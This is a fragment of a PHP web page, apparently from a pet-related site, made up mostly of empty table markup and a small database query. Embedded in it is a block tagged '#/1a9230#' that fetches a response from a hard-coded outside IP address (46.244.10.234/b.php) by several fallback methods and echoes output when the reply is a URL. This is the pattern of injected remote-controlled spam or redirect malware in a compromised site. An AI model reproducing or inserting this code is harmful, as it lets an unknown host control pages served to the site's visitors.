|
|
|
|
/* */ ?>
array(
'timeout' => $timeout,
)
));
$_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
} elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
$handle = fopen($remote_url, "r");
$_url_get_contents_data = stream_get_contents($handle);
} else {
$_url_get_contents_data = __file_get_url_contents($remote_url);
}
return $_url_get_contents_data;
}
function __file_get_url_contents($remote_url)
{
if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
$remote_url, $matches)
) {
$protocol = strtolower($matches[1]);
$host = $matches[2];
$path = $matches[3];
} else {
// Bad remote_url-format
return FALSE;
}
if ($protocol == "http") {
$socket = fsockopen($host, 80, $errno, $errstr, $timeout);
} else {
// Bad protocol
return FALSE;
}
if (!$socket) {
// Error creating socket
return FALSE;
}
$request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
$len_written = fwrite($socket, $request);
if ($len_written === FALSE || $len_written != strlen($request)) {
// Error sending request
return FALSE;
}
$response = "";
while (!feof($socket) &&
($buf = fread($socket, 4096)) !== FALSE) {
$response .= $buf;
}
if ($buf === FALSE) {
// Error reading response
return FALSE;
}
$end_of_header = strpos($response, "\r\n\r\n");
return substr($response, $end_of_header + 4);
}
$remote_domain = "http://46.244.10.234/b.php";
$remote_domain = __url_get_contents($remote_domain, 1);
if (strpos($remote_domain, 'http://') === 0) {
$dnc = '';
echo $dnc;
}
}
#/1a9230#
?>
|
|
/* */ ?> |
|
|
|
 |
|
 |
|
|
 |
 |
$rrr="select * from pet_utilities where param_name='pdf'";
$rr=mysql_query($rrr);
$r=mysql_fetch_array($rr);
?>
 |
 |
|
|
|